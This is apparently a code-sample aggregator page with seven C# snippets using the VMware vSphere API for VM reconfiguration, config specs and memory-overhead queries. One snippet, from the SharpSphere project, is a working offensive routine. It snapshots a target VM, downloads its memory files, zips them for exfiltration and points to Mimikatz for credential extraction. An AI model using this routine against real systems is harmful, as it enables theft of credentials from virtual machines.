コード例 #1
0
        /// <summary>
        /// Reconfig the virtual machine.
        /// </summary>
        private void reconfigVirtualMachine()
        {
            Console.WriteLine("ReConfigure The Virtual Machine ..........");
            VirtualMachineFileInfo vmFileInfo
                = new VirtualMachineFileInfo();

            vmFileInfo.logDirectory      = "[" + getDataStore() + "]" + getVmName();
            vmFileInfo.snapshotDirectory = "[" + getDataStore() + "]" + getVmName();
            vmFileInfo.suspendDirectory  = "[" + getDataStore() + "]" + getVmName();
            vmFileInfo.vmPathName        = "[" + getDataStore()
                                           + "]" + getVmName() + "/" + getVmName() + ".vmx";

            VirtualMachineConfigSpec vmConfigSpec
                = new VirtualMachineConfigSpec();

            vmConfigSpec.files = vmFileInfo;

            ManagedObjectReference taskmor
                = _service.ReconfigVM_Task(
                      getVmMor(getVmName()), vmConfigSpec);

            Object[] result = cb.getServiceUtil().WaitForValues(
                taskmor, new String[] { "info.state", "info.error" },
                new String[] { "state" },
                new Object[][] { new Object[] { TaskInfoState.success, TaskInfoState.error } }
                );

            if (result[0].Equals(TaskInfoState.success))
            {
                Console.WriteLine("ReConfigure The Virtual Machine .......... Done");
            }
            else
            {
                Console.WriteLine("Some Exception While Reconfiguring The VM " + result[0]);
            }
        }
コード例 #2
0
        /// <summary>
        /// Reconfig the virtual machine.
        /// </summary>
        private void reconfigVirtualMachine() {
           Console.WriteLine("ReConfigure The Virtual Machine ..........");
           VirtualMachineFileInfo vmFileInfo 
              = new VirtualMachineFileInfo();
           vmFileInfo.logDirectory = "["+getDataStore()+"]"+getVmName();
           vmFileInfo.snapshotDirectory= "["+getDataStore()+"]"+getVmName();
           vmFileInfo.suspendDirectory= "["+getDataStore()+"]"+getVmName();
           vmFileInfo.vmPathName= "["+getDataStore()
                                       +"]"+getVmName()+"/"+getVmName()+".vmx";

           VirtualMachineConfigSpec vmConfigSpec 
              = new VirtualMachineConfigSpec();
           vmConfigSpec.files =vmFileInfo;

           ManagedObjectReference taskmor 
              = _service.ReconfigVM_Task(
                   getVmMor(getVmName()),vmConfigSpec);

           Object[] result = cb.getServiceUtil().WaitForValues(
                 taskmor, new String[] { "info.state", "info.error" }, 
                 new String[] { "state" },
                 new Object[][] { new Object[] { TaskInfoState.success, TaskInfoState.error }}
           );

           if (result[0].Equals(TaskInfoState.success)) {
              Console.WriteLine("ReConfigure The Virtual Machine .......... Done");
           } else {
             Console.WriteLine("Some Exception While Reconfiguring The VM " + result[0]);
           }
         }
コード例 #3
0
ファイル: Program.cs プロジェクト: sec-js/SharpSphere
        static int Dump(DumpOptions options)
        {
            try
            {
                //Connect to target
                Connect(options.url, options.username, options.password, null);

                //Find target VM
                vm = GetTargetVM(options.targetvm);
                if (vm is null)
                {
                    Error(new Exception("Failed to find target VM " + options.targetvm + ", are you sure the name is right?"));
                }

                //Create Snapshot if specified, otherwise find existing one
                ManagedObjectReference snapshot = GetSnapshot(options.targetvm, options.snapshot);

                //Get information about the snapshot
                VirtualMachineFileInfo fileInfo = GetProperty <VirtualMachineConfigInfo>(snapshot, "config").files;

                //Build the objects we need
                ManagedObjectReference environmentBrowser = GetProperty <ManagedObjectReference>(vm, "environmentBrowser");
                ManagedObjectReference datastoreBrowser   = GetProperty <ManagedObjectReference>(environmentBrowser, "datastoreBrowser");

                //Search for a vmem file
                ManagedObjectReference task = vim.SearchDatastore_Task(datastoreBrowser, fileInfo.snapshotDirectory, GetHostDatastoreBrowserSearchSpec());
                TaskInfo info  = GetProperty <TaskInfo>(task, "info");
                string   state = info.state.ToString();
                while (state != "success")
                {
                    switch (state)
                    {
                    case "error":
                        Error(new Exception("Error searching datastore for snapshot files"));
                        break;

                    case "running":
                        Thread.Sleep(1000);
                        break;
                    }
                    state = GetProperty <TaskInfo>(task, "info").state.ToString();
                }
                HostDatastoreBrowserSearchResults results = (HostDatastoreBrowserSearchResults)GetProperty <TaskInfo>(task, "info").result;


                //Check at least one vmem exists, which it may not if not using --snapshot
                FileInfo latestFile = null;
                if (results.file.Length == 0)
                {
                    Error(new Exception("Failed to find any .vmem files associated with the VM, despite there being snapshots. Virtual machine memory may not have been captured. Recommend rerunning with --snapshot"));
                }

                //Grab the latest .vmem file if there is more than one associated with a VM
                foreach (FileInfo file in results.file)
                {
                    if (latestFile == null || DateTime.Compare(file.modification, latestFile.modification) > 0)
                    {
                        latestFile = file;
                    }
                }

                //Build the URLs to download directly from datastore
                string host       = options.url.Remove(options.url.Length - 4);
                string dsName     = FindTextBetween(results.folderPath, "[", "]");
                string folderPath = results.folderPath.Remove(0, dsName.Length + 3);
                string vmemURL    = host + "/folder/" + folderPath + latestFile.path + "?dcPath=" + datacenterName + "&dsName=" + dsName;
                string vmsnURL    = host + "/folder/" + folderPath + latestFile.path.Replace(".vmem", ".vmsn") + "?dcPath=" + datacenterName + "&dsName=" + dsName;
                string vmemFile   = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName();
                string vmsnFile   = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName();
                string zipFile    = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName();

                //Make the web requests
                using (var client = new System.Net.WebClient())
                {
                    client.Credentials = new System.Net.NetworkCredential(options.username, options.password);
                    client.Headers.Set(System.Net.HttpRequestHeader.ContentType, "application/octet-stream");
                    client.CachePolicy = new HttpRequestCachePolicy(HttpRequestCacheLevel.NoCacheNoStore);
                    Log("[x] Downloading " + latestFile.path + " (" + latestFile.fileSize / 1048576 + @"MB) to " + vmemFile + "...");
                    client.DownloadFile(vmemURL, vmemFile);

                    Log("[x] Downloading " + latestFile.path.Replace(".vmem", ".vmsn") + " to " + vmsnFile + "...");
                    client.DownloadFile(vmsnURL, vmsnFile);
                }

                //Zip up the two downloaded files
                Log("[x] Download complete, zipping up so it's easier to exfiltrate...");
                var zip = ZipFile.Open(zipFile, ZipArchiveMode.Create);
                zip.CreateEntryFromFile(vmemFile, Path.GetFileName(vmemFile), CompressionLevel.Optimal);
                zip.CreateEntryFromFile(vmsnFile, Path.GetFileName(vmsnFile), CompressionLevel.Optimal);
                zip.Dispose();
                File.Delete(vmemFile);
                File.Delete(vmsnFile);
                System.IO.FileInfo zipFileInfo = new System.IO.FileInfo(zipFile);
                Log("[x] Zipping complete, download " + zipFile + " (" + zipFileInfo.Length / 1048576 + "MB), rename to .zip, and follow instructions to use with Mimikatz");

                //Delete the snapshot we created if needed
                if (options.snapshot)
                {
                    Log("[x] Deleting the snapshot we created");
                    vim.RemoveSnapshot_Task(snapshot, false, true);
                }
            }
            catch (Exception fault)
            {
                Error(fault);
            }
            return(0);
        }
コード例 #4
0
        public VirtualMachineConfigSpec createVmConfigSpec(String vmName,

                                                           String datastoreName,

                                                           int diskSizeMB,

                                                           ManagedObjectReference computeResMor,

                                                           ManagedObjectReference hostMor)

        {
            ConfigTarget configTarget = getConfigTargetForHost(computeResMor, hostMor);

            VirtualDevice[] defaultDevices = getDefaultDevices(computeResMor, hostMor);

            VirtualMachineConfigSpec configSpec = new VirtualMachineConfigSpec();



            String networkName = null;

            if (configTarget.network != null)

            {
                for (int i = 0; i < configTarget.network.Length; i++)

                {
                    VirtualMachineNetworkInfo netInfo = configTarget.network[i];

                    NetworkSummary netSummary = netInfo.network;

                    if (netSummary.accessible)

                    {
                        networkName = netSummary.name;

                        break;
                    }
                }
            }

            ManagedObjectReference datastoreRef = null;

            if (datastoreName != null)

            {
                Boolean flag = false;

                for (int i = 0; i < configTarget.datastore.Length; i++)

                {
                    VirtualMachineDatastoreInfo vdsInfo = configTarget.datastore[i];

                    DatastoreSummary dsSummary = vdsInfo.datastore;

                    if (dsSummary.name.Equals(datastoreName))

                    {
                        flag = true;

                        if (dsSummary.accessible)

                        {
                            datastoreName = dsSummary.name;

                            datastoreRef = dsSummary.datastore;
                        }

                        else

                        {
                            throw new Exception("Specified Datastore is not accessible");
                        }

                        break;
                    }
                }

                if (!flag)

                {
                    throw new Exception("Specified Datastore is not Found");
                }
            }

            else

            {
                Boolean flag = false;

                for (int i = 0; i < configTarget.datastore.Length; i++)

                {
                    VirtualMachineDatastoreInfo vdsInfo = configTarget.datastore[i];

                    DatastoreSummary dsSummary = vdsInfo.datastore;

                    if (dsSummary.accessible)

                    {
                        datastoreName = dsSummary.name;

                        datastoreRef = dsSummary.datastore;

                        flag = true;

                        break;
                    }
                }

                if (!flag)

                {
                    throw new Exception("No Datastore found on host");
                }
            }

            String datastoreVolume = getVolumeName(datastoreName);

            VirtualMachineFileInfo vmfi = new VirtualMachineFileInfo();

            vmfi.vmPathName = datastoreVolume;

            configSpec.files = vmfi;

            // Add a scsi controller

            int diskCtlrKey = 1;

            VirtualDeviceConfigSpec scsiCtrlSpec = new VirtualDeviceConfigSpec();

            scsiCtrlSpec.operation = VirtualDeviceConfigSpecOperation.add;

            scsiCtrlSpec.operationSpecified = true;

            VirtualLsiLogicController scsiCtrl = new VirtualLsiLogicController();

            scsiCtrl.busNumber = 0;

            scsiCtrlSpec.device = scsiCtrl;

            scsiCtrl.key = diskCtlrKey;

            scsiCtrl.sharedBus = VirtualSCSISharing.noSharing;

            String ctlrType = scsiCtrl.GetType().Name;



            // Find the IDE controller

            VirtualDevice ideCtlr = null;

            for (int di = 0; di < defaultDevices.Length; di++)

            {
                if (defaultDevices[di].GetType().Name.Equals("VirtualIDEController"))

                {
                    ideCtlr = defaultDevices[di];

                    break;
                }
            }



            // Add a floppy

            VirtualDeviceConfigSpec floppySpec = new VirtualDeviceConfigSpec();

            floppySpec.operation = VirtualDeviceConfigSpecOperation.add;

            floppySpec.operationSpecified = true;

            VirtualFloppy floppy = new VirtualFloppy();

            VirtualFloppyDeviceBackingInfo flpBacking = new VirtualFloppyDeviceBackingInfo();

            flpBacking.deviceName = "/dev/fd0";

            floppy.backing = flpBacking;

            floppy.key = 3;

            floppySpec.device = floppy;



            // Add a cdrom based on a physical device

            VirtualDeviceConfigSpec cdSpec = null;



            if (ideCtlr != null)

            {
                cdSpec = new VirtualDeviceConfigSpec();

                cdSpec.operation = VirtualDeviceConfigSpecOperation.add;

                cdSpec.operationSpecified = true;

                VirtualCdrom cdrom = new VirtualCdrom();

                VirtualCdromIsoBackingInfo cdDeviceBacking = new VirtualCdromIsoBackingInfo();

                cdDeviceBacking.datastore = datastoreRef;

                cdDeviceBacking.fileName = datastoreVolume + "testcd.iso";

                cdrom.backing = cdDeviceBacking;

                cdrom.key = 20;

                cdrom.controllerKey = ideCtlr.key;

                cdrom.controllerKeySpecified = true;

                cdrom.unitNumberSpecified = true;

                cdrom.unitNumber = 0;

                cdSpec.device = cdrom;
            }



            // Create a new disk - file based - for the vm

            VirtualDeviceConfigSpec diskSpec = null;

            diskSpec = createVirtualDisk(datastoreName, diskCtlrKey, datastoreRef, diskSizeMB);



            // Add a NIC. the network Name must be set as the device name to create the NIC.

            VirtualDeviceConfigSpec nicSpec = new VirtualDeviceConfigSpec();

            if (networkName != null)

            {
                nicSpec.operation = VirtualDeviceConfigSpecOperation.add;

                nicSpec.operationSpecified = true;

                VirtualEthernetCard nic = new VirtualPCNet32();

                VirtualEthernetCardNetworkBackingInfo nicBacking = new VirtualEthernetCardNetworkBackingInfo();

                nicBacking.deviceName = networkName;

                nic.addressType = "generated";

                nic.backing = nicBacking;

                nic.key = 4;

                nicSpec.device = nic;
            }



            var deviceConfigSpec = new List <VirtualDeviceConfigSpec>();

            deviceConfigSpec.Add(scsiCtrlSpec);

            deviceConfigSpec.Add(floppySpec);

            deviceConfigSpec.Add(diskSpec);

            deviceConfigSpec.Add(nicSpec);



            if (ideCtlr != null)

            {
                deviceConfigSpec.Add(cdSpec);
            }



            configSpec.deviceChange = deviceConfigSpec.ToArray();

            return(configSpec);
        }
コード例 #5
0
ファイル: VMUtils.cs プロジェクト: Nikolay-Krasan/DegreeWork
        public VirtualMachineConfigSpec createVmConfigSpec(String vmName,
                                                        String datastoreName,
                                                        int diskSizeMB,
                                                        ManagedObjectReference computeResMor,
                                                        ManagedObjectReference hostMor)
        {

            ConfigTarget configTarget = getConfigTargetForHost(computeResMor, hostMor);
            VirtualDevice[] defaultDevices = getDefaultDevices(computeResMor, hostMor);
            VirtualMachineConfigSpec configSpec = new VirtualMachineConfigSpec();

            String networkName = null;
            if (configTarget.network != null)
            {
                for (int i = 0; i < configTarget.network.Length; i++)
                {
                    VirtualMachineNetworkInfo netInfo = configTarget.network[i];
                    NetworkSummary netSummary = netInfo.network;
                    if (netSummary.accessible)
                    {
                        networkName = netSummary.name;
                        break;
                    }
                }
            }
            ManagedObjectReference datastoreRef = null;
            if (datastoreName != null)
            {
                Boolean flag = false;
                for (int i = 0; i < configTarget.datastore.Length; i++)
                {
                    VirtualMachineDatastoreInfo vdsInfo = configTarget.datastore[i];
                    DatastoreSummary dsSummary = vdsInfo.datastore;
                    if (dsSummary.name.Equals(datastoreName))
                    {
                        flag = true;
                        if (dsSummary.accessible)
                        {
                            datastoreName = dsSummary.name;
                            datastoreRef = dsSummary.datastore;
                        }
                        else
                        {
                            throw new Exception("Specified Datastore is not accessible");
                        }
                        break;
                    }
                }
                if (!flag)
                {
                    throw new Exception("Specified Datastore is not Found");
                }
            }
            else
            {
                Boolean flag = false;
                for (int i = 0; i < configTarget.datastore.Length; i++)
                {
                    VirtualMachineDatastoreInfo vdsInfo = configTarget.datastore[i];
                    DatastoreSummary dsSummary = vdsInfo.datastore;
                    if (dsSummary.accessible)
                    {
                        datastoreName = dsSummary.name;
                        datastoreRef = dsSummary.datastore;
                        flag = true;
                        break;
                    }
                }
                if (!flag)
                {
                    throw new Exception("No Datastore found on host");
                }
            }
            String datastoreVolume = getVolumeName(datastoreName);
            VirtualMachineFileInfo vmfi = new VirtualMachineFileInfo();
            vmfi.vmPathName = datastoreVolume;
            configSpec.files = vmfi;
            // Add a scsi controller
            int diskCtlrKey = 1;
            VirtualDeviceConfigSpec scsiCtrlSpec = new VirtualDeviceConfigSpec();
            scsiCtrlSpec.operation = VirtualDeviceConfigSpecOperation.add;
            scsiCtrlSpec.operationSpecified = true;
            VirtualLsiLogicController scsiCtrl = new VirtualLsiLogicController();
            scsiCtrl.busNumber = 0;
            scsiCtrlSpec.device = scsiCtrl;
            scsiCtrl.key = diskCtlrKey;
            scsiCtrl.sharedBus = VirtualSCSISharing.noSharing;
            String ctlrType = scsiCtrl.GetType().Name;


            // Find the IDE controller
            VirtualDevice ideCtlr = null;
            for (int di = 0; di < defaultDevices.Length; di++)
            {
                if (defaultDevices[di].GetType().Name.Equals("VirtualIDEController"))
                {
                    ideCtlr = defaultDevices[di];
                    break;
                }
            }

            // Add a floppy
            VirtualDeviceConfigSpec floppySpec = new VirtualDeviceConfigSpec();
            floppySpec.operation = VirtualDeviceConfigSpecOperation.add;
            floppySpec.operationSpecified = true;
            VirtualFloppy floppy = new VirtualFloppy();
            VirtualFloppyDeviceBackingInfo flpBacking = new VirtualFloppyDeviceBackingInfo();
            flpBacking.deviceName = "/dev/fd0";
            floppy.backing = flpBacking;
            floppy.key = 3;
            floppySpec.device = floppy;

            // Add a cdrom based on a physical device
            VirtualDeviceConfigSpec cdSpec = null;

            if (ideCtlr != null)
            {
                cdSpec = new VirtualDeviceConfigSpec();
                cdSpec.operation = VirtualDeviceConfigSpecOperation.add;
                cdSpec.operationSpecified = true;
                VirtualCdrom cdrom = new VirtualCdrom();
                VirtualCdromIsoBackingInfo cdDeviceBacking = new VirtualCdromIsoBackingInfo();
                cdDeviceBacking.datastore = datastoreRef;
                cdDeviceBacking.fileName = datastoreVolume + "testcd.iso";
                cdrom.backing = cdDeviceBacking;
                cdrom.key = 20;
                cdrom.controllerKey = ideCtlr.key;
                cdrom.controllerKeySpecified = true;
                cdrom.unitNumberSpecified = true;
                cdrom.unitNumber = 0;
                cdSpec.device = cdrom;
            }

            // Create a new disk - file based - for the vm
            VirtualDeviceConfigSpec diskSpec = null;
            diskSpec = createVirtualDisk(datastoreName, diskCtlrKey, datastoreRef, diskSizeMB);

            // Add a NIC. the network Name must be set as the device name to create the NIC.
            VirtualDeviceConfigSpec nicSpec = new VirtualDeviceConfigSpec();
            if (networkName != null)
            {
                nicSpec.operation = VirtualDeviceConfigSpecOperation.add;
                nicSpec.operationSpecified = true;
                VirtualEthernetCard nic = new VirtualPCNet32();
                VirtualEthernetCardNetworkBackingInfo nicBacking = new VirtualEthernetCardNetworkBackingInfo();
                nicBacking.deviceName = networkName;
                nic.addressType = "generated";
                nic.backing = nicBacking;
                nic.key = 4;
                nicSpec.device = nic;
            }

            var deviceConfigSpec = new List<VirtualDeviceConfigSpec>();
            deviceConfigSpec.Add(scsiCtrlSpec);
            deviceConfigSpec.Add(floppySpec);
            deviceConfigSpec.Add(diskSpec);
            deviceConfigSpec.Add(nicSpec);

            if (ideCtlr != null)
            {
                deviceConfigSpec.Add(cdSpec);
            }

            configSpec.deviceChange = deviceConfigSpec.ToArray();
            return configSpec;
        }
コード例 #6
0
        public void queryMemoryOverhead()
        {
            _service = ecb.getConnection().Service;
            _sic     = ecb.getConnection().ServiceContent;

            ArrayList supportedVersions = VersionUtil.getSupportedVersions(ecb.get_option("url"));
            String    hostname          = ecb.get_option("hostname");
            ManagedObjectReference hmor =
                ecb.getServiceUtil().GetDecendentMoRef(null, "HostSystem", hostname);

            if (hmor != null)
            {
                if (VersionUtil.isApiVersionSupported(supportedVersions, "2.5"))
                {
                    VirtualMachineConfigInfo vmConfigInfo =
                        new VirtualMachineConfigInfo();
                    vmConfigInfo.changeVersion = "1";
                    DateTime dt = ecb.getConnection().Service.CurrentTime(ecb.getConnection().ServiceRef);
                    vmConfigInfo.modified = dt;

                    VirtualMachineDefaultPowerOpInfo defaultInfo
                        = new VirtualMachineDefaultPowerOpInfo();
                    vmConfigInfo.defaultPowerOps = defaultInfo;

                    VirtualMachineFileInfo fileInfo
                        = new VirtualMachineFileInfo();
                    vmConfigInfo.files = fileInfo;

                    VirtualMachineFlagInfo flagInfo
                        = new VirtualMachineFlagInfo();
                    vmConfigInfo.flags = flagInfo;

                    vmConfigInfo.guestFullName = "Full Name";
                    vmConfigInfo.guestId       = "Id";

                    VirtualHardware vhardware
                        = new VirtualHardware();
                    vhardware.memoryMB    = int.Parse(ecb.get_option("memorysize"));
                    vhardware.numCPU      = int.Parse(ecb.get_option("cpucount"));
                    vmConfigInfo.hardware = vhardware;

                    // Not Required For Computing The Overhead
                    vmConfigInfo.name               = "OnlyFoeInfo";
                    vmConfigInfo.uuid               = "12345678-abcd-1234-cdef-123456789abc";
                    vmConfigInfo.version            = "First";
                    vmConfigInfo.template           = false;
                    vmConfigInfo.alternateGuestName = "Alternate";

                    long overhead
                        = ecb._connection._service.QueryMemoryOverheadEx(
                              hmor, vmConfigInfo);
                    Console.WriteLine("Using queryMemoryOverheadEx API using vmReconfigInfo");
                    Console.WriteLine("Memory overhead necessary to "
                                      + "poweron a virtual machine with memory "
                                      + ecb.get_option("memorysize")
                                      + " MB and cpu count "
                                      + ecb.get_option("cpucount")
                                      + " -: " + overhead + " bytes");
                }
                else
                {
                    long overhead
                        = ecb._connection._service.QueryMemoryOverhead(hmor,
                                                                       long.Parse(ecb.get_option("memorysize")), 0, false,
                                                                       int.Parse(ecb.get_option("cpucount"))
                                                                       );
                    Console.WriteLine("Using queryMemoryOverhead API "
                                      + "using CPU count and Memory Size");
                    Console.WriteLine("Memory overhead necessary to "
                                      + "poweron a virtual machine with memory "
                                      + ecb.get_option("memorysize")
                                      + " MB and cpu count "
                                      + ecb.get_option("cpucount")
                                      + " -: " + overhead + " bytes");
                }
            }
            else
            {
                Console.WriteLine("Host " + ecb.get_option("hostname") + " not found");
            }
        }
コード例 #7
0
       public void queryMemoryOverhead()
       {
           _service = ecb.getConnection().Service;
           _sic = ecb.getConnection().ServiceContent;

           ArrayList supportedVersions = VersionUtil.getSupportedVersions(ecb.get_option("url"));
           String hostname = ecb.get_option("hostname");
           ManagedObjectReference hmor =
              ecb.getServiceUtil().GetDecendentMoRef(null, "HostSystem", hostname);

           if (hmor != null)
           {
               if (VersionUtil.isApiVersionSupported(supportedVersions, "2.5"))
               {
                   VirtualMachineConfigInfo vmConfigInfo =
                           new VirtualMachineConfigInfo();
                   vmConfigInfo.changeVersion = "1";
                   DateTime dt = ecb.getConnection().Service.CurrentTime(ecb.getConnection().ServiceRef);
                   vmConfigInfo.modified = dt;
                
                   VirtualMachineDefaultPowerOpInfo defaultInfo 
                      = new VirtualMachineDefaultPowerOpInfo();
                   vmConfigInfo.defaultPowerOps=defaultInfo;
           
                   VirtualMachineFileInfo fileInfo 
                      = new VirtualMachineFileInfo();
                   vmConfigInfo.files=fileInfo;
            
                   VirtualMachineFlagInfo flagInfo 
                      = new VirtualMachineFlagInfo();
                   vmConfigInfo.flags=flagInfo;
            
                   vmConfigInfo.guestFullName="Full Name";
                   vmConfigInfo.guestId="Id";
            
                   VirtualHardware vhardware 
                      = new VirtualHardware();
                   vhardware.memoryMB=int.Parse(ecb.get_option("memorysize"));
                   vhardware.numCPU=int.Parse(ecb.get_option("cpucount"));
                   vmConfigInfo.hardware=vhardware;
            
                   // Not Required For Computing The Overhead
                   vmConfigInfo.name="OnlyFoeInfo";
                   vmConfigInfo.uuid="12345678-abcd-1234-cdef-123456789abc";
                   vmConfigInfo.version="First";
                   vmConfigInfo.template=false;
                   vmConfigInfo.alternateGuestName="Alternate";
            
                   long overhead 
                      = ecb._connection._service.QueryMemoryOverheadEx(
                                             hmor,vmConfigInfo);      
                   Console.WriteLine("Using queryMemoryOverheadEx API using vmReconfigInfo");
                   Console.WriteLine("Memory overhead necessary to "
                                     + "poweron a virtual machine with memory " 
                                     + ecb.get_option("memorysize") 
                                     + " MB and cpu count " 
                                     + ecb.get_option("cpucount") 
                                     + " -: " + overhead + " bytes");
               }
               else
               {
                   long overhead
                      = ecb._connection._service.QueryMemoryOverhead(hmor,
                           long.Parse(ecb.get_option("memorysize")), 0, false,
                           int.Parse(ecb.get_option("cpucount"))
                        );
                   Console.WriteLine("Using queryMemoryOverhead API "
                                     + "using CPU count and Memory Size");
                   Console.WriteLine("Memory overhead necessary to "
                                      + "poweron a virtual machine with memory "
                                      + ecb.get_option("memorysize")
                                      + " MB and cpu count "
                                      + ecb.get_option("cpucount")
                                      + " -: " + overhead + " bytes");
               }
           }
           else
           {
               Console.WriteLine("Host " + ecb.get_option("hostname") + " not found");
           }
       }